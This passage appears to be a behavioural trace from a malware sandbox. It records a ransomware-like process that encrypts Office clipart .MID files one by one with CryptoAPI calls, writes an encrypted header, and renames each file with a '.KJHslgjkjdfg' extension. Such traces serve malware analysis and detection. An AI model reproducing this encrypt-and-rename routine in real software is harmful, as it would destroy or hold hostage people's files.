hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.403] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.403] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17b6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x17b6, lpOverlapped=0x0) returned 1 [0206.404] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17c0) returned 1 [0206.404] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.404] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x17c0, lpOverlapped=0x0) returned 1 [0206.405] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.405] SetEndOfFile (hFile=0x130) returned 1 [0206.408] GetProcessHeap () returned 0x990000 [0206.408] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.408] GetProcessHeap () returned 0x990000 [0206.408] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.kjhslgjkjdfg")) returned 1 [0206.409] CloseHandle (hObject=0x130) returned 1 [0206.409] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_05.MID", cAlternateFileName="")) returned 1 [0206.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.411] GetProcessHeap () returned 0x990000 [0206.411] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.411] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.412] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.413] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.413] GetProcessHeap () returned 0x990000 [0206.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.413] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.413] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.413] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.413] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.414] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.414] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.414] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.414] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.414] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.414] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1784, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1784, lpOverlapped=0x0) returned 1 [0206.415] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1790, dwBufLen=0x1790 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1790) returned 1 [0206.415] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.415] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1790, lpOverlapped=0x0) returned 1 [0206.415] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.416] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.416] SetEndOfFile (hFile=0x130) returned 1 [0206.418] GetProcessHeap () returned 0x990000 [0206.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.418] GetProcessHeap () returned 0x990000 [0206.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.kjhslgjkjdfg")) returned 1 [0206.419] CloseHandle (hObject=0x130) returned 1 [0206.419] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_06.MID", cAlternateFileName="")) returned 1 [0206.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.421] GetProcessHeap () returned 0x990000 [0206.421] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.421] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.421] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.423] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.423] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.423] GetProcessHeap () returned 0x990000 [0206.424] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.424] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.424] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.424] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.424] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.424] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.424] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.424] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.424] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.425] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.425] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e58, lpOverlapped=0x0) returned 1 [0206.426] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e60) returned 1 [0206.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.426] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e60, lpOverlapped=0x0) returned 1 [0206.426] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.426] SetEndOfFile (hFile=0x130) returned 1 [0206.429] GetProcessHeap () returned 0x990000 [0206.429] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.429] GetProcessHeap () returned 0x990000 [0206.429] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.kjhslgjkjdfg")) returned 1 [0206.431] CloseHandle (hObject=0x130) returned 1 [0206.431] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_07.MID", cAlternateFileName="")) returned 1 [0206.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.433] GetProcessHeap () returned 0x990000 [0206.433] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.433] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.433] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0206.435] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.435] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.435] GetProcessHeap () returned 0x990000 [0206.436] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.436] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.436] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.436] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.436] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.436] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.436] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.436] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.436] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.436] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.436] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19a4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x19a4, lpOverlapped=0x0) returned 1 [0206.438] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x19b0) returned 1 [0206.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.438] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x19b0, lpOverlapped=0x0) returned 1 [0206.438] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.438] SetEndOfFile (hFile=0x130) returned 1 [0206.441] GetProcessHeap () returned 0x990000 [0206.441] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.441] GetProcessHeap () returned 0x990000 [0206.441] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.kjhslgjkjdfg")) returned 1 [0206.443] CloseHandle (hObject=0x130) returned 1 [0206.443] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_08.MID", cAlternateFileName="")) returned 1 [0206.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.443] GetProcessHeap () returned 0x990000 [0206.444] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.444] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.444] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.444] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0206.446] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.446] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.446] GetProcessHeap () returned 0x990000 [0206.446] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.446] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.446] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.446] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.446] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.447] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.447] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.447] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.447] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.447] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.447] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1cb3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1cb3, lpOverlapped=0x0) returned 1 [0206.449] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1cc0, dwBufLen=0x1cc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1cc0) returned 1 [0206.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.449] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1cc0, lpOverlapped=0x0) returned 1 [0206.450] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.450] SetEndOfFile 